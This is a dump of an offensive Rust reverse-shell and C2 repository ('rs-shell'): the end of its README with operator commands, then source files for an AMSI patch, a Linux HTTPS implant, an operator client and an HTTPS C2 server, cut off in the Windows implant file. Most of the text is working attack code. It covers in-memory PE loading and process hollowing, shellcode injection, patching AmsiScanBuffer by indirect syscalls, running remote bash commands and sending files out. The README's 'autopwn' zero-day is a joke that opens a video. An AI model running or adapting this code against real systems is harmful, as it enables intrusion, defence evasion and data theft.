> load -h C:\\path\\to\\PE_to_load C:\\path\\to\\PE_to_hollow
load a PE file in a remote process memory with process hollowing and executes it
> load -s C:\\path\\to\\shellcode.bin C:\\path\\to\\PE_to_execute
load a shellcode in a remote process memory and start a new thread with it
[+] Loading commands with indirect syscalls
> syscalls C:\\path\\to\\PE_to_load
load a PE file in the client process memory and executes it, with indirect syscalls. This will kill the reverse shell !
> syscalls -h C:\\path\\to\\PE_to_load C:\\path\\to\\PE_to_hollow
load a PE file in a remote process memory with process hollowing and executes it, with indirect syscalls
> syscalls -s C:\\path\\to\\shellcode.bin C:\\path\\to\\PE_to_execute
load a shellcode in a remote process memory and start a new thread with it, with indirect syscalls
[+] Bypass commands
> powpow
start a new interactive PowerShell session with the AMSI patched in memory, with or without indirect syscalls
[+] Network commands
> download C:\\file\\to\\download C:\\local\\path
download a file from the remote system
> upload C:\\local\\file\\to\\upload C:\\remote\\path\\to\\write
upload a file to the remote system
[+] Special commands
> autopwn
escalate to the SYSTEM or root account from any local account by exploiting a zero day
```
The `load` commands permit to load and execute directly in memory:
* `load` loads and execute a PE in the client memory. **This will kill the reverse shell**, but that could be usefull to launch a C2 implant in the current process for example
* `load -h` loads and execute a PE in a created remote process memory with process hollowing. You don't lose your reverse shell session, but the process hollowing will be potentially flag by the AV or the EDR
* `load -s` loads and execute a shellcode from a `.bin` file in a created remote process memory. You don't lose your reverse shell session, and you don't have to drop the bin file on the target, since the shellcode will be transfered to the target from your machine without touching the target's disk
For example : `> load -h C:\Windows\System32\calc.exe C:\Windows\System32\cmd.exe`. This will start a `cmd.exe` process with hollowing, load a `calc.exe` image in the process memory, and then resume the thread to execute the calc.
On the other hand, the `syscalls` commands permit the same things, but everything is performed with *indirect syscalls*.
`powpow` (**only available in TCP mode**) starts an interactive PowerShell session with a PowerShell process where the AMSI `ScanBuffer` function has been patched in memory. This feature is not particularly opsec. The patching operation can be performed with or without indirect syscalls.
`download` permits to download a file from the client to the machine where the server is running. For example `download C:\Users\Administrator\Desktop\creds.txt ./creds.txt`. In HTTPS mode it is just `download C:\Users\Administrator\Desktop\creds.txt`, and the file will be downloaded in the `downloads` directory on the server.
`upload` permits to upload a file on the client machine. For example `upload ./pwn.exe C:\Temp\pwn.exe`. In HTTPS mode it is just `upload ./pwn.exe`, and the file will be uploaded in the directory where the implant has been written.
`autopwn` permits to escalate to the **SYSTEM or root account** with a 0day exploitation. Just type `autopwn` and answer the question.
## Todo
- [x] Move all the Win32API related commands to the NTAPI with indirect syscalls
- [ ] Implement other injection techniques
- [ ] Implement a port forwarding solution
- [x] Find a way to create a fully proxy aware client
- [ ] Implement a reverse socks proxy feature
## Disclaimers
This is an obvious disclaimer because I don't want to be held responsible if someone uses this tool against anyone who hasn't asked for anything.
Usage of anything presented in this repo to attack targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Only use for educational purposes.
## Acknowledgements
* [OffensiveRust](https://github.com/winsecurity/Offensive-Rust) by [winsecurity](https://github.com/winsecurity). This project would never have existed without him. Many of functions, structures, and tricks present in `rs-shell` come from this project
* [OffensiveRust](https://github.com/trickster0/OffensiveRust) by [trickster0](https://github.com/trickster0)
* Multiple projects by [memN0ps](https://github.com/memN0ps)
* [RustPacker](https://github.com/Nariod/RustPacker) by [Nariod](https://github.com/Nariod)
* Nik Brendler's blog posts about pipe communication between process in Rust. [Part 1](https://www.nikbrendler.com/rust-process-communication/) and [Part 2](https://www.nikbrendler.com/rust-process-communication-part-2/)
* [rust-mordor-rs](https://github.com/gmh5225/rust-mordor-rs) by [memN0ps](https://twitter.com/memN0ps), an incredible library for indirect syscalls in Rust
* [Actix](https://actix.rs/) web framework
================================================
FILE: src/amsi_bypass.rs
================================================
#![cfg(target_family = "windows")]
use crate::utils::structures::{IMAGE_nt_headS64, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY};
use crate::utils::tools_windows::*;
use core::time;
use regex::Regex;
use std::error::Error;
use std::ffi::c_void;
use std::io::{BufReader, Read, Write};
//use std::mem::MaybeUninit;
use std::process::Child;
use std::sync::mpsc::{Receiver, Sender, TryRecvError};
use std::thread;
use ntapi::ntapi_base::CLIENT_ID;
use winapi::shared::ntdef::{HANDLE, NTSTATUS, NT_SUCCESS, NULL, OBJECT_ATTRIBUTES, PVOID};
use winapi::um::winnt::{PAGE_EXECUTE_READ, PAGE_READWRITE};
use windows_sys::Win32::Foundation::CloseHandle;
use windows_sys::Win32::System::Diagnostics::Debug::{ReadProcessMemory, WriteProcessMemory};
use windows_sys::Win32::System::Diagnostics::ToolHelp::{
CreateToolhelp32Snapshot, Module32First, Module32Next, MODULEENTRY32, TH32CS_SNAPALL,
};
use windows_sys::Win32::System::Threading::{OpenProcess, PROCESS_ALL_ACCESS};
use syscalls::syscall;
static PATH_REGEX: &str = r#"PS (?(?:[a-zA-Z]\:|\\\\[\w\s\.\-]+\\[^\/\\<>:"|?\n\r]+)\\(?:[^\/\\<>:"|?\n\r]+\\)*)(?[^\/\\<>:"|?\n\r]*?)> "#;
fn get_scan_buffer(amsiaddr: isize, phandle: *mut c_void, syscalls_value: bool) -> isize {
let mut status: NTSTATUS;
let mut buf: [u8; 64] = [0; 64];
unsafe {
// Retrieves the DOS headers of amsi.dll
if syscalls_value {
status = syscall!(
"NtReadVirtualMemory",
phandle as *mut c_void,
amsiaddr as *mut c_void,
buf.as_mut_ptr() as *mut c_void,
buf.len(),
NULL
);
if !NT_SUCCESS(status) {
log::debug!(
"Error reading target memory to retrieve the DOS headers: {:x}",
status
);
}
} else {
ReadProcessMemory(
phandle,
amsiaddr as *const c_void,
buf.as_mut_ptr() as *mut c_void,
64,
std::ptr::null_mut(),
);
}
let mut dos_head = IMAGE_DOS_HEADER::default();
fill_structure_from_array(&mut dos_head, &buf, syscalls_value);
// Retrieves the NT headers of amsi.dll
let mut nt_head = IMAGE_nt_headS64::default();
fill_structure_from_memory(
&mut nt_head,
(amsiaddr + dos_head.e_lfanew as isize) as *const c_void,
phandle,
syscalls_value,
);
log::debug!(
"NT headers: {:#x?}",
nt_head.OptionalHeader.ExportTable.VirtualAddress
);
// Parse all the DLL's exports and find the AmsiScanBuffer function
let mut exports = IMAGE_EXPORT_DIRECTORY::default();
fill_structure_from_memory(
&mut exports,
(amsiaddr + nt_head.OptionalHeader.ExportTable.VirtualAddress as isize)
as *const c_void,
phandle,
syscalls_value,
);
log::debug!("Exports: {:#x?}", exports);
let mut i = 0;
loop {
let mut nameaddr: [u8; 4] = [0; 4];
if syscalls_value {
status = syscall!(
"NtReadVirtualMemory",
phandle as *mut c_void,
(amsiaddr + exports.AddressOfNames as isize + (i * 4)) as *mut c_void,
nameaddr.as_mut_ptr() as *mut c_void,
nameaddr.len(),
NULL
);
if !NT_SUCCESS(status) {
log::debug!(
"Error reading target memory to retrieve the function: {:x}",
status
);
}
} else {
ReadProcessMemory(
phandle,
(amsiaddr + exports.AddressOfNames as isize + (i * 4)) as *const c_void,
nameaddr.as_mut_ptr() as *mut c_void,
nameaddr.len(),
std::ptr::null_mut(),
);
}
let num = u32::from_ne_bytes(nameaddr.try_into().unwrap());
let funcname = read_from_memory(
(amsiaddr + num as isize) as *const c_void,
phandle,
syscalls_value,
);
if funcname.trim_end_matches('\0') == "AmsiScanBuffer" {
log::debug!("Name: {}", funcname);
let mut ord: [u8; 2] = [0; 2];
if syscalls_value {
status = syscall!(
"NtReadVirtualMemory",
phandle as *mut c_void,
(amsiaddr + exports.AddressOfNameOrdinals as isize + (i * 2))
as *mut c_void,
ord.as_mut_ptr() as *mut c_void,
ord.len(),
NULL
);
if !NT_SUCCESS(status) {
log::debug!(
"Error reading target memory to retrieve the index number: {:x}",
status
);
}
} else {
ReadProcessMemory(
phandle,
(amsiaddr + exports.AddressOfNameOrdinals as isize + (i * 2))
as *const c_void,
ord.as_mut_ptr() as *mut c_void,
ord.len(),
std::ptr::null_mut(),
);
}
let index = u16::from_ne_bytes(ord.try_into().unwrap());
log::debug!("Index: {}", index);
let mut addr: [u8; 4] = [0; 4];
if syscalls_value {
status = syscall!(
"NtReadVirtualMemory",
phandle as *mut c_void,
(amsiaddr + exports.AddressOfFunctions as isize + (index as isize * 4))
as *mut c_void,
addr.as_mut_ptr() as *mut c_void,
addr.len(),
NULL
);
if !NT_SUCCESS(status) {
log::debug!(
"Error reading target memory to retrieve the index address: {:x}",
status
);
}
} else {
ReadProcessMemory(
phandle,
(amsiaddr + exports.AddressOfFunctions as isize + (index as isize * 4))
as *const c_void,
addr.as_mut_ptr() as *mut c_void,
addr.len(),
std::ptr::null_mut(),
);
}
let addrindex = u32::from_ne_bytes(addr.try_into().unwrap());
log::debug!("Index addr: {}", addrindex);
return amsiaddr + addrindex as isize;
}
i += 1;
if i >= exports.NumberOfNames as isize {
break;
}
}
return 0;
}
}
pub fn patch_amsi(pid: u32, syscalls_value: bool) {
unsafe {
// Start PowerShell process
//let mut lpStartupInfo: STARTUPINFOA = std::mem::zeroed();
//let mut lpProcessInformation: windows_sys::Win32::System::Threading::PROCESS_INFORMATION = std::mem::zeroed();
/*CreateProcessA(
"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\0".as_ptr() as *const u8,
std::ptr::null_mut(),
std::ptr::null_mut(),
std::ptr::null_mut(),
0,
CREATE_NO_WINDOW,
std::ptr::null_mut(),
std::ptr::null_mut(),
&mut lpStartupInfo as *mut STARTUPINFOA,
&mut lpProcessInformation
as *mut windows_sys::Win32::System::Threading::PROCESS_INFORMATION,
);*/
let mut new_handle = pid as HANDLE;
let mut status: NTSTATUS;
if syscalls_value {
let object_attr = OBJECT_ATTRIBUTES::default();
let client_id: CLIENT_ID = CLIENT_ID {
UniqueProcess: pid as _,
UniqueThread: 0 as _,
};
status = syscall!(
"NtOpenProcess",
&mut new_handle,
PROCESS_ALL_ACCESS,
&object_attr,
&client_id
);
if !NT_SUCCESS(status) {
log::debug!("Error openning target process: {:x}", status);
}
} else {
new_handle = OpenProcess(PROCESS_ALL_ACCESS, 0, pid) as *mut c_void;
}
//Wait for the process to totally load before the snap
std::thread::sleep(time::Duration::from_secs(2));
let snap_handle = CreateToolhelp32Snapshot(TH32CS_SNAPALL, pid);
// Initialization
let mut first_mod: MODULEENTRY32 = std::mem::zeroed();
first_mod.dwSize = std::mem::size_of::() as u32;
Module32First(snap_handle, &mut first_mod as *mut MODULEENTRY32);
let _modulname = string_from_array(
&mut first_mod
.szModule
.to_vec()
.iter()
.map(|&x| x as u8)
.collect(),
);
log::debug!("Module name: {:?}", _modulname);
// Search for the amsi.dll module in the PowerShell process memory
let mut amsiaddr: isize = 0;
loop {
let mut next_mod: MODULEENTRY32 = std::mem::zeroed();
next_mod.dwSize = std::mem::size_of::() as u32;
let res_next = Module32Next(snap_handle, &mut next_mod as *mut MODULEENTRY32);
let next_module = string_from_array(
&mut next_mod
.szModule
.to_vec()
.iter()
.map(|&x| x as u8)
.collect(),
);
log::debug!("Next module: {:?}", next_module);
if next_module == "amsi.dll" {
amsiaddr = next_mod.modBaseAddr as isize;
break;
}
if res_next != 1 {
break;
}
}
log::debug!("Amsi base addr: {:x?}", amsiaddr);
let mut scanbuffer_addr =
get_scan_buffer(amsiaddr, new_handle, syscalls_value) as *mut c_void;
log::debug!("AmsiScanBuffer base addr: {:x?}", scanbuffer_addr);
// mov rax, 1
// ret
let mut patch: [u8; 8] = [0x48, 0xC7, 0xC0, 0x01, 0x00, 0x00, 0x00, 0xC3];
if syscalls_value {
let mut save_addr: PVOID = scanbuffer_addr;
let mut old_perms = PAGE_EXECUTE_READ;
status = syscall!(
"NtProtectVirtualMemory",
new_handle,
&mut scanbuffer_addr,
&mut patch.len(),
PAGE_READWRITE,
&mut old_perms
);
if !NT_SUCCESS(status) {
log::debug!("Error changing memory permissions: {:x}", status);
}
status = syscall!(
"NtWriteVirtualMemory",
new_handle,
save_addr,
patch.as_mut_ptr() as *mut c_void,
patch.len(),
NULL
);
if !NT_SUCCESS(status) {
log::debug!("Error patching target process: {:x}", status);
}
status = syscall!(
"NtProtectVirtualMemory",
new_handle,
&mut save_addr,
&mut patch.len(),
old_perms,
&mut old_perms
);
if !NT_SUCCESS(status) {
log::debug!("Error rollback memory permissions: {:x}", status);
}
} else {
WriteProcessMemory(
new_handle,
scanbuffer_addr,
patch.as_ptr() as *const c_void,
patch.len(),
std::ptr::null_mut(),
);
}
CloseHandle(new_handle);
}
}
pub fn start_process_thread(
child: &mut Child,
sender: Sender,
receiver: Receiver,
) -> Result<(), Box> {
let mut stdin = child.stdin.take().unwrap();
let stdout = child.stdout.take().unwrap();
let path_regex = Regex::new(PATH_REGEX).unwrap();
thread::spawn(move || {
let mut f = BufReader::new(stdout);
let mut buff_to_send: [u8; 4096];
loop {
buff_to_send = [0; 4096];
match f.read(&mut buff_to_send) {
Ok(_) => {
/*
Here we stop reading PowerShell output with a regex that matches the PS line waiting for user input "PS >"
- Is it crappy ? Yes
- Is there a better solution ? Yeah, probably
- Have I tried other solutions ? Yes, like searching for an EOF like or identifying the PowerShell thread waiting for UserRequest, but none has been successfull
- What can you do to make the world a better place ? Make a PR :)
*/
while !path_regex.is_match(
String::from_utf8_lossy(&buff_to_send)
.trim_end_matches("\0")
.to_string()
.as_str(),
) {
sender
.send(String::from_utf8_lossy(&buff_to_send).to_string())
.expect("Thread send error");
buff_to_send = [0; 4096];
match f.read(&mut buff_to_send) {
Ok(_) => (),
Err(r) => {
sender
.send(
"Error reading output from stdout: ".to_string()
+ &r.to_string(),
)
.unwrap();
sender.send("EndOfOutput".to_string()).unwrap();
break;
}
}
}
sender
.send(String::from_utf8_lossy(&buff_to_send).to_string())
.unwrap();
sender.send("EndOfOutput".to_string()).unwrap();
}
Err(r) => {
log::debug!("{:?}", r);
sender
.send("Error reading output from stdout: ".to_string() + &r.to_string())
.unwrap();
sender.send("EndOfOutput".to_string()).unwrap();
continue;
}
}
loop {
match receiver.try_recv() {
Ok(command) => match stdin.write_all(command.as_bytes()) {
Ok(_) => break,
Err(r) => {
log::debug!("Error sending command to stdin: {:?}", r);
sender
.send(
"Error sending command to stdin: ".to_string() + &r.to_string(),
)
.unwrap();
sender.send("EndOfOutput".to_string()).unwrap();
continue;
}
},
Err(TryRecvError::Empty) => {
continue;
}
Err(r) => {
log::debug!("Thread recv error: {:?}", r);
sender
.send("Error reading command: ".to_string() + &r.to_string())
.unwrap();
sender.send("EndOfOutput".to_string()).unwrap();
continue;
}
}
}
}
});
Ok(())
}
================================================
FILE: src/autopwn.rs
================================================
use core::time;
pub fn autopwn() {
log::info!("Searching for the base addr...");
std::thread::sleep(time::Duration::from_secs(1));
log::info!("Locating the buffer...");
std::thread::sleep(time::Duration::from_millis(500));
log::info!("Exploiting null-byte poisoning...");
std::thread::sleep(time::Duration::from_secs(1));
log::info!("Using meaning of life to overlap the chunk...");
std::thread::sleep(time::Duration::from_secs(1));
open::that("https://www.youtube.com/watch?v=dQw4w9WgXcQ&autoplay=1").unwrap();
log::error!("Now read the code before launching any command from an unknown project");
}
================================================
FILE: src/https/https_linux_implant.rs
================================================
use reqwest::{blocking::multipart, blocking::Client};
use std::fs::File;
use std::io::Write;
use std::{error::Error, path::Path, process::Command};
use std::{thread, time};
fn do_stuff(cmd: &str) -> Vec {
let exec = Command::new("/bin/bash")
.args(["-c", cmd.trim_end_matches("\r\n")])
.output()
.unwrap();
let stdo = exec.stdout.as_slice();
let _stdr = exec.stderr.as_slice();
if _stdr.is_empty() {
stdo.to_vec()
} else {
_stdr.to_vec()
}
}
pub fn implant(ip: &str) -> Result<(), Box> {
// HTTPS implant without certificate verification
let client = Client::builder()
.danger_accept_invalid_certs(true)
.build()?;
let mut url = format!("https://{}/rs-shell/index", ip);
// Connect to the server and get the banner
let mut response = client.get(url).send()?;
if response.status().is_success() {
log::debug!("Session initialized");
let os = std::env::consts::FAMILY;
url = format!("https://{}/rs-shell/os", ip);
response = client.post(url).body(os).send()?;
if response.status().is_success() {
log::debug!("OS send");
} else {
log::debug!("HTTP error: {}", response.status());
}
loop {
// Get the next task
url = format!("https://{}/rs-shell/next_task", ip);
response = client.get(url).send()?;
if response.status().is_success() {
let res = response.text()?.to_string();
log::debug!("Task: {}", res);
let (cmd, value) = match res.split_once(':') {
Some((cmd, value)) => (cmd, value),
None => (res.as_str(), ""),
};
match cmd {
"cmd" => {
let res_cmd = do_stuff(value);
log::debug!("{}", String::from_utf8_lossy(&res_cmd));
url = format!("https://{}/rs-shell/receive_output", ip);
response = client.post(url).body(res_cmd).send()?;
if response.status().is_success() {
log::debug!("Command executed");
} else {
log::debug!("HTTP error: {}", response.status());
}
}
"upload" => {
let url = format!("https://{}/rs-shell/upload{}", ip, value);
let response = client.get(url).send()?;
if response.status().is_success() {
let path = Path::new(value.trim());
File::create(path.file_name().unwrap().to_str().unwrap())
.unwrap()
.write_all(response.bytes().unwrap().to_vec().as_slice())?;
log::debug!("Uploaded file into ./");
} else {
log::debug!("HTTP error uploading file: {}", response.status());
}
}
"download" => {
let url = format!("https://{}/", ip);
match multipart::Form::new().file("file", value.trim_end_matches("\n")) {
Ok(form) => {
response = client.post(url).multipart(form).send()?;
if response.status().is_success() {
log::debug!("Downloaded file: {}", value);
} else {
log::debug!(
"HTTP error downloading file: {}",
response.status()
);
}
}
Err(e) => log::debug!("Error: {}", e),
}
}
"No task" => {
log::debug!("No task");
}
"exit" | "quit" => {
log::debug!("Exiting...");
break;
}
_ => log::debug!("Unknown command"),
}
} else {
log::debug!("Error obtaining new task: {}", response.status());
continue;
}
// For the moment the implant sleeps 3 seconds between each request, could be interesting to randomize this value
// Or setup an option to change it via the CLI
thread::sleep(time::Duration::from_secs(2));
}
} else {
log::debug!("RS-Shell server cannot be reached: {}", response.status());
}
Ok(())
}
================================================
FILE: src/https/https_operator.rs
================================================
use reqwest::{blocking::multipart, blocking::Client};
use std::{
error::Error,
io::{self, Write},
path::Path,
};
use crate::autopwn;
pub fn operator(ip_addr: &str) -> Result<(), Box> {
// HTTPS client without certificate verification
let client = Client::builder()
.danger_accept_invalid_certs(true)
.build()?;
let mut url = format!("https://{}/rs-shell/index", ip_addr);
// Connect to the server and get the banner
let mut response = client.get(url).send()?;
if response.status().is_success() {
let body = response.text()?;
println!("{}", body);
log::info!("[+] Connection success to {} ! BANG BANG !", ip_addr);
log::info!("[+] This shell is yours !");
log::info!("[+] Type 'help' for advanced integrated commands");
// Retrieve the implant's OS
let mut _implant_os = String::new();
url = format!("https://{}/rs-shell/upload./os.txt", ip_addr);
response = client.get(url).send()?;
if response.status().is_success() {
_implant_os = response.text()?;
log::info!("[+] Implant's OS family is {}", _implant_os)
} else {
_implant_os = "undefined".to_string();
log::warn!("Cannot read implant OS : {}", response.status());
}
// Ctrl+C handler to avoid kill the shell by error
ctrlc::set_handler(move || {
println!(
"Ctrl+C handled. Type 'quit' or 'exit' to quit, or kill the process manually."
);
})
.expect("Error setting Ctrl-C handler");
// Command loop
loop {
print!("> ");
io::stdout().flush().unwrap();
let mut cmd = String::new();
io::stdin().read_line(&mut cmd).expect("[-] Input issue");
cmd = cmd.trim_end().to_string();
// Check for help command
if cmd.as_str().starts_with("help") {
println!("{}", https_help());
continue;
}
// Cmd handling
if cmd.trim_end().ne("") {
// Check for download/upload commands
if cmd.as_str().starts_with("download") {
let path: Vec<&str> = cmd.split(' ').collect();
if path.len() != 2 {
log::warn!(
"Invalid argument number. Usage is : download C:\\file\\to\\download"
);
} else {
url = format!("https://{}/rs-shell/operator_cmd", ip_addr);
log::info!("Downloading file : {}", path[1]);
response = client
.post(url)
.body(format!("download:{}", path[1]))
.send()?;
if response.status().is_success() {
let body = response.text()?;
log::info!("{}", body);
} else {
log::error!("RS-Shell error: {}", response.status());
}
}
continue;
} else if cmd.as_str().starts_with("upload") {
let path: Vec<&str> = cmd.split(' ').collect();
if path.len() != 2 {
log::warn!(
"Invalid argument number. Usage is : upload C:\\file\\to\\upload"
);
} else {
log::info!("Uploading file : {}", path[1]);
/*
Uploading file on the server before uploading it on the target machine
To avoid creating a new function, we will reuse the 'download' route to upload the shellcode file on the server (see explain in the comment in the 'route.rs' file)
*/
url = format!("https://{}/", ip_addr);
match multipart::Form::new()
.file("file", path[1].trim_end_matches("\r\n\0"))
{
Ok(form) => {
response = client.post(url).multipart(form).send()?;
if response.status().is_success() {
let filename = Path::new(path[1].trim())
.file_name()
.unwrap()
.to_str()
.unwrap();
let file_path = format!("./downloads/{}", filename);
url = format!("https://{}/rs-shell/operator_cmd", ip_addr);
response = client
.post(url)
.body(format!("upload:{}", file_path))
.send()?;
if response.status().is_success() {
let body = response.text()?;
log::info!("{}", body);
} else {
log::error!("RS-Shell error: {}", response.status());
}
}
}
Err(e) => log::debug!("Error: {}", e),
}
}
continue;
} else if cmd.as_str().starts_with("load -h")
|| cmd.as_str().starts_with("load -s")
|| cmd.as_str().starts_with("syscalls -h")
|| cmd.as_str().starts_with("syscalls -s")
{
if _implant_os.ne("windows") {
log::warn!(
"Client's OS is not Windows, this command doesn't make any sense"
);
continue;
}
let path: Vec<&str> = cmd.split(' ').collect();
if path.len() != 4 {
log::warn!("Invalid argument number. Usage is : {} -h|-s C:\\path\\to\\file_to_inject C:\\path\\to\\process_to_start", path[0]);
} else {
// In case of shellcode injection, the implant will load it from the server and execute it without touching the disk
// So we need to upload the shellcode file on the server first
if cmd.as_str().starts_with("load -s")
|| cmd.as_str().starts_with("syscalls -s")
{
log::info!(
"Sending shellcode file {:?} to the server",
path[1].trim_end_matches("\r\n\0")
);
/*
Uploading shellcode file on the server
To avoid creating a new function, we will reuse the 'download' route to upload the shellcode file on the server (see explain in the comment in the 'route.rs' file)
*/
url = format!("https://{}/", ip_addr);
match multipart::Form::new()
.file("file", path[2].trim_end_matches("\r\n\0"))
{
Ok(form) => {
response = client.post(url).multipart(form).send()?;
if response.status().is_success() {
log::info!("Shellcode file uploaded in the 'downloads' directory on the server");
let filename = Path::new(path[2].trim())
.file_name()
.unwrap()
.to_str()
.unwrap();
let file_path = format!("./downloads/{}", filename);
// Sending the command to the implant
url = format!("https://{}/rs-shell/operator_cmd", ip_addr);
log::info!(
"Loading shellcode into a remote process memory"
);
response = client
.post(url)
.body(format!(
"{} {}:{} {}",
path[0], path[1], file_path, path[3]
))
.send()?;
if response.status().is_success() {
let body = response.text()?;
log::info!("{}", body);
} else {
log::error!("RS-Shell error: {}", response.status());
}
} else {
log::error!("RS-Shell error: {}", response.status());
}
}
Err(e) => log::debug!("Error: {}", e),
}
} else {
// In case of PE injection with process hollowing
url = format!("https://{}/rs-shell/operator_cmd", ip_addr);
log::info!("Loading {} into {}", path[0], path[1]);
response = client
.post(url)
.body(format!("{} {}:{} {}", path[0], path[1], path[2], path[3]))
.send()?;
if response.status().is_success() {
let body = response.text()?;
log::info!("{}", body);
} else {
log::error!("RS-Shell error: {}", response.status());
}
}
}
continue;
} else if cmd.as_str().starts_with("load ") || cmd.as_str().starts_with("syscalls ")
{
if _implant_os.ne("windows") {
log::warn!(
"Client's OS is not Windows, this command doesn't make any sense"
);
continue;
}
let path: Vec<&str> = cmd.split(' ').collect();
if path.len() != 2 {
log::warn!(
"Invalid argument number. Usage is : {} C:\\path\\to\\file_to_inject",
path[0]
);
} else {
log::info!("Loading PE into the implant memory");
url = format!("https://{}/rs-shell/operator_cmd", ip_addr);
response = client
.post(url)
.body(format!("{}:{}", path[0], path[1]))
.send()?;
if response.status().is_success() {
let body = response.text()?;
log::info!("{}", body);
} else {
log::error!("RS-Shell error: {}", response.status());
}
}
continue;
} else if cmd.as_str().starts_with("autopwn") {
print!("What is the meaning of life ? ");
io::stdout().flush().unwrap();
let mut life = String::new();
io::stdin().read_line(&mut life).expect("[-] Input issue");
if life
.trim_end_matches('\0')
.trim_end()
.eq_ignore_ascii_case("42")
{
autopwn::autopwn();
}
continue;
} else if cmd.as_str().trim_end() == "exit" || cmd.as_str().trim_end() == "quit" {
url = format!("https://{}/rs-shell/operator_cmd", ip_addr);
response = client.post(url).body(cmd).send()?;
if response.status().is_success() {
let body = response.text()?;
log::info!("{}", body);
println!("[+] Goodbye my friend <3");
}
break;
} else {
// To run a cmd command
url = format!("https://{}/rs-shell/operator_cmd", ip_addr);
response = client.post(url).body(format!("cmd:{}", cmd)).send()?;
if response.status().is_success() {
let body = response.text()?;
log::debug!("{}", body);
// Retrieve the output
url = format!("https://{}/rs-shell/wait_for_output", ip_addr);
response = client.get(url).send()?;
if response.status().is_success() {
let body = response.text()?;
println!("{}", body);
} else {
log::error!("RS-Shell error: {}", response.status());
}
} else {
log::error!("RS-Shell error: {}", response.status());
}
}
}
}
} else {
log::error!("RS-Shell server cannot be reached: {}", response.status());
}
Ok(())
}
fn https_help() -> String {
"[+] Custom integrated commands :
[+] Loading commands
> load C:\\path\\to\\PE_to_load
load a PE file in the client process memory and executes it. This will kill the implant !
> load -h C:\\path\\to\\PE_to_load C:\\path\\to\\PE_to_hollow
load a PE file in a remote process memory with process hollowing and executes it
> load -s C:\\path\\to\\shellcode.bin C:\\path\\to\\PE_to_execute
load a shellcode in a remote process memory and start a new thread with it
[+] Loading commands with indirect syscalls
> syscalls C:\\path\\to\\PE_to_load
load a PE file in the client process memory and executes it, with indirect syscalls. This will kill the reverse shell !
> syscalls -h C:\\path\\to\\PE_to_load C:\\path\\to\\PE_to_hollow
load a PE file in a remote process memory with process hollowing and executes it, with indirect syscalls
> syscalls -s C:\\path\\to\\shellcode.bin C:\\path\\to\\PE_to_execute
load a shellcode in a remote process memory and start a new thread with it, with indirect syscalls
[+] Network commands
> download C:\\file\\to\\download
download a file from the remote system and store it on the server
> upload C:\\local\\file\\to\\upload
upload a file from the operator machine to the remote system
[+] Special commands
> autopwn
escalate to the SYSTEM or root account from any local account by exploiting a zero day
".to_string()
}
================================================
FILE: src/https/https_server.rs
================================================
use actix_multipart::form::tempfile::TempFileConfig;
use actix_web::http::KeepAlive;
use actix_web::{App, HttpServer, middleware, web};
use std::fs::File;
use std::io::BufReader;
use std::sync::Arc;
use crate::https::routes::*;
#[actix_web::main]
pub async fn server(i: &str, cert_path: &str, tls_key: &str) -> std::io::Result<()> {
rustls::crypto::ring::default_provider();
// Rustls doen't seem to support PKCS12 currently, so we need to use PEM
let mut certs_file = BufReader::new(File::open(cert_path).unwrap());
let mut key_file = BufReader::new(File::open(tls_key).unwrap());
// to create a self-signed temporary cert for testing:
// `openssl req -x509 -newkey rsa:4096 -nodes -keyout key.pem -out cert.pem -days 365 -subj '/CN=localhost'`
let tls_certs = rustls_pemfile::certs(&mut certs_file)
.collect::, _>>()
.unwrap();
let tls_key = rustls_pemfile::pkcs8_private_keys(&mut key_file)
.next()
.unwrap()
.unwrap();
// set up TLS config options
let tls_config = rustls::ServerConfig::builder()
.with_no_client_auth()
.with_single_cert(tls_certs, rustls::pki_types::PrivateKeyDer::Pkcs8(tls_key))
.unwrap();
log::info!("Creating directories and files");
std::fs::create_dir_all("./downloads")?;
std::fs::create_dir_all("./tmp")?;
let state = Arc::new(AppState::new());
let port = 443;
HttpServer::new(move || {
let data = web::Data::new(state.clone());
App::new()
.wrap(middleware::Logger::default())
.app_data(TempFileConfig::default().directory("./tmp"))
.app_data(data)
/*
Using routes instead of services with a scope and macros, because file upload with multipart data seems bugged with scopes
Additionally, it looks like it is only possible to send multipart request to the root of the app, which must be declared as a service with a resource
If someone knows how to fix this, please let me know
*/
.service(web::resource("/").route(web::post().to(download)))
.route("/rs-shell/index", web::get().to(index))
.route("/rs-shell/next_task", web::get().to(next_task))
.route(
"/rs-shell/shellcode{shellcode:.*}",
web::get().to(shellcode),
)
.route("/rs-shell/wait_for_output", web::get().to(wait_for_output))
.route("/rs-shell/upload{filename:.*}", web::get().to(upload))
.route("/rs-shell/receive_output", web::post().to(receive_output))
.route("/rs-shell/operator_cmd", web::post().to(operator_cmd))
.route("/rs-shell/os", web::post().to(implant_os))
})
.bind_rustls_0_22((i, port), tls_config)?
.keep_alive(KeepAlive::Os)
.run()
.await
}
================================================
FILE: src/https/https_windows_implant.rs
================================================
use crate::utils::tools_windows::{call_loader_pe, call_loader_shellcode};
use std::error::Error;
use std::ffi::c_void;
use std::ffi::CString;
use std::fs::File;
use std::io::{self, BufReader, Read, Write};
use std::path::Path;
use std::process::Command;
use std::ptr::null_mut;
use std::{thread, time};
use windows_sys::Win32::Foundation::GetLastError;
use windows_sys::Win32::Networking::WinHttp::{
INTERNET_DEFAULT_HTTPS_PORT, SECURITY_FLAG_IGNORE_UNKNOWN_CA,
};
use windows_sys::Win32::Networking::WinInet::{
HttpOpenRequestA, HttpSendRequestA, InternetCloseHandle, InternetConnectA, InternetErrorDlg,
InternetOpenA, InternetReadFile, InternetSetOptionA, ERROR_INTERNET_FORCE_RETRY,
FLAGS_ERROR_UI_FILTER_FOR_ERRORS, FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS,
FLAGS_ERROR_UI_FLAGS_GENERATE_DATA, INTERNET_FLAG_IGNORE_CERT_CN_INVALID,
INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_KEEP_CONNECTION, INTERNET_FLAG_NEED_FILE,
INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD, INTERNET_FLAG_SECURE,
INTERNET_OPEN_TYPE_PRECONFIG, INTERNET_OPTION_SECURITY_FLAGS, INTERNET_SERVICE_HTTP,
SECURITY_FLAG_IGNORE_WRONG_USAGE,
};
use windows_sys::Win32::System::Console::GetConsoleWindow;
fn init_session(ip: &str, url: &str) -> Result<(*mut c_void, *mut c_void), io::Error> {
// Standard user agent setup, can be changed to a custom one
